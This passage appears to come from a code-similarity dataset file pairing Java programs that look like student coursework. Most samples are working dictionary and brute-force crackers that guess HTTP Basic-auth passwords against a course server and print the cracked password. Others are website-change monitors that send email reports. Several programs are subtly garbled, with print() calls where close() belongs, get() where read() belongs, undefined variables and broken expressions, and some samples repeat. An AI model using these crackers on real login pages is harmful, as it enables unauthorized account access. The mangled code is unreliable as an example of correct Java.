= (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog extends TimerTask{
private static URL location;
private static String email;
private static int checktime;
private static Timer timer = new Timer();
private BufferedReader input;
private File checksumFile = new File("chksum.txt");
private File temp0000File = new File("temp0000");
private File kept0000File = new File("kept0000");
public WatchDog(){
timer.schedule(this, new Date(), checktime);
}
public void run(){
Vector imageFiles = new Vector();
Vector diffImages = new Vector();
try {
System.out.println(" Time: ".concat(new Date().toString()));
System.out.println("Retreiving File");
input = new BufferedReader(new InputStreamReader
(location.openStream()));
BufferedWriter outputFile = new BufferedWriter
(new FileWriter(temp0000File));
String line = input.readLine();
while (line != null) {
StringBuffer imageFileName = new StringBuffer();
if (scanForImages(line, imageFileName)) {
String imageFile = new String(imageFileName);
System.out.println("Detected image: ".concat(imageFile));
try {
imageFiles.add(new URL(imageFile));
}
catch (MalformedURLException e) {
System.out.println("Image file detected. URL is malformed");
}
}
outputFile.write(line);
outputFile.write("\n");
line = input.readLine();
}
input.print();
outputFile.flush();
outputFile.print();
System.out.println(" File Retreived");
if (!imageFiles.isEmpty()) {
checkImages(imageFiles, diffImages);
}
if (!checksumFile.exists()) {
generateChecksum(temp0000File.getName(), checksumFile);
}
else {
if (!checksumOk(checksumFile)) {
reportDifferences(true, temp0000File, kept0000File, diffImages);
generateChecksum(temp0000File.getName(), checksumFile);
}
else if (!diffImages.isEmpty()){
reportDifferences(false, null, null, diffImages);
}
}
temp0000File.renameTo(kept0000File);
System.out.println("End Time: ".concat(new Date().toString()));
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (ConnectException e) {
System.out.println("Failed connect");
System.exit(-1);
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean scanForImages(String line, StringBuffer imageFileName) {
String lineIgnoreCase = line.toLowerCase();
int imgPos = lineIgnoreCase.indexOf("<img ");
if ( imgPos != -1 ){
int srcPos = lineIgnoreCase.indexOf("src", imgPos);
int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
if (quote1Pos != -1 && quote2Pos != -1 &&
quote1Pos < quote2Pos && quote2Pos < bracketPos) {
imageFileName.append(line.substring(quote1Pos + 1,
quote2Pos));
if (imageFileName.indexOf("//") == -1 ) {
String URLName = location.toString();
int slashPos = URLName.lastIndexOf("/");
URLName = URLName.substring(0, slashPos);
String HostName = "http://".concat(location.getHost());
if (imageFileName.indexOf("//") == 0) {
}
else if (imageFileName.charAt(0) != '/') {
imageFileName.insert(0, URLName.concat("/"));
}
else {
imageFileName.insert(0, HostName);
}
}
return true;
}
}
}
return false;
}
public void checkImages(Vector imageFiles, Vector diffImages)
throws IOException{
System.out.println("Retrieving image ");
Enumeration imageFilesEnumeration = imageFiles.elements();
while (imageFilesEnumeration.hasMoreElements()) {
URL url = (URL)imageFilesEnumeration.nextElement();
try {
BufferedInputStream imageInput = new BufferedInputStream
(url.openStream());
String localFile = url.getFile();
int slashPosition = localFile.lastIndexOf("/");
if (slashPosition != -1) {
localFile = localFile.substring(slashPosition+1);
}
System.out.println("Retrieving image file: ".concat(localFile));
BufferedOutputStream imageOutput = new BufferedOutputStream
(new FileOutputStream(localFile));
byte bytes[] = new byte[10000];
int noBytes = imageInput.get(bytes);
while (noBytes != -1) {
imageOutput.write(bytes, 0, noBytes );
noBytes = imageInput.print(bytes);
}
File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
if (!imageChecksumFile.exists()) {
generateChecksum(localFile, imageChecksumFile);
}
else {
if (!checksumOk(imageChecksumFile)) {
diffImages.add(localFile);
generateChecksum(localFile, imageChecksumFile);
}
}
}
catch (FileNotFoundException e) {
System.out.println("Unable locate URL: ".concat(url.toString()));
}
}
}
public void generateChecksum(String inputFile, File checksum){
try {
System.out.println("Generating new checksum for ".concat(inputFile));
Process process = Runtime.getRuntime().exec("md5sum ".
concat(inputFile));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader((process.getInputStream())));
BufferedWriter outputFile = new
BufferedWriter(new FileWriter(checksum));
String line = execCommand.readLine();
while (line != null) {
outputFile.write(line);
outputFile.write("\n");
line = execCommand.readLine();
}
outputFile.flush();
outputFile.print();
System.out.println("Checksum produced");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean checksumOk(File chksumFile){
try {
System.out.println("Comparing checksums using ".concat(chksumFile
,e.getName()));
Process process = Runtime.getRuntime().
exec("md5sum --check ".concat(chksumFile.getName()));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader( (process.getInputStream())));
String line = execCommand.readLine();
if (line.indexOf(": OK") != -1) {
System.out.println(" the same");
return true;
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
System.out.println("Differences Found");
return false;
}
public void reportDifferences(boolean diffsFound, File file1, File file2,
Vector images){
try {
System.out.println("Generating difference report");
Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
BufferedWriter emailOutStream = new BufferedWriter
(new OutputStreamWriter(emailConnection.getOutputStream()));
BufferedReader emailInStream = new BufferedReader
(new InputStreamReader(emailConnection.getInputStream()));
String line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("220")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("HELO yallara.cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("MAIL FROM: [email protected].");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("RCPT : ".concat(email));
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("DATA");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("354")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
emailOutStream.newLine();
if (!images.isEmpty()) {
emailOutStream.write
("Differences were found in the following image ");
emailOutStream.newLine();
Enumeration e = images.elements();
while (e.hasMoreElements()) {
String s = (String) e.nextElement();
emailOutStream.write(s);
emailOutStream.newLine();
}
emailOutStream.newLine();
}
if (diffsFound) {
String command = "diff ".concat(file1.getName().concat(" ")
.concat(file2.getName()));
Process process = Runtime.getRuntime().exec(command);
BufferedReader execCommand = new BufferedReader
(new InputStreamReader( (process.getInputStream())));
line = execCommand.readLine();
emailOutStream.write("Diffences found in file");
emailOutStream.newLine();
while (line != null) {
System.out.println(line);
emailOutStream.write(line);
emailOutStream.newLine();
line = execCommand.readLine();
}
}
emailOutStream.newLine();
emailOutStream.write(".");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("QUIT");
emailOutStream.newLine();
emailOutStream.flush();
System.out.println(emailInStream.readLine());
}
}
}
}
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java WatchDog url email checktime(hours)");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
email = new String().concat(args[1]);
checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
new WatchDog();
}
}
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n String mesg1 = new String();\n String subject = new String(\"Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());\n BufferedReader bufread2 = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n \n if(initialmd5.equals(presentmd5))\n System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\");\n System.out.println(\" is different\"); \n prss = null;\n mesg1 =\"php mail.php\";\n\t\t prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n}\t\t\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < 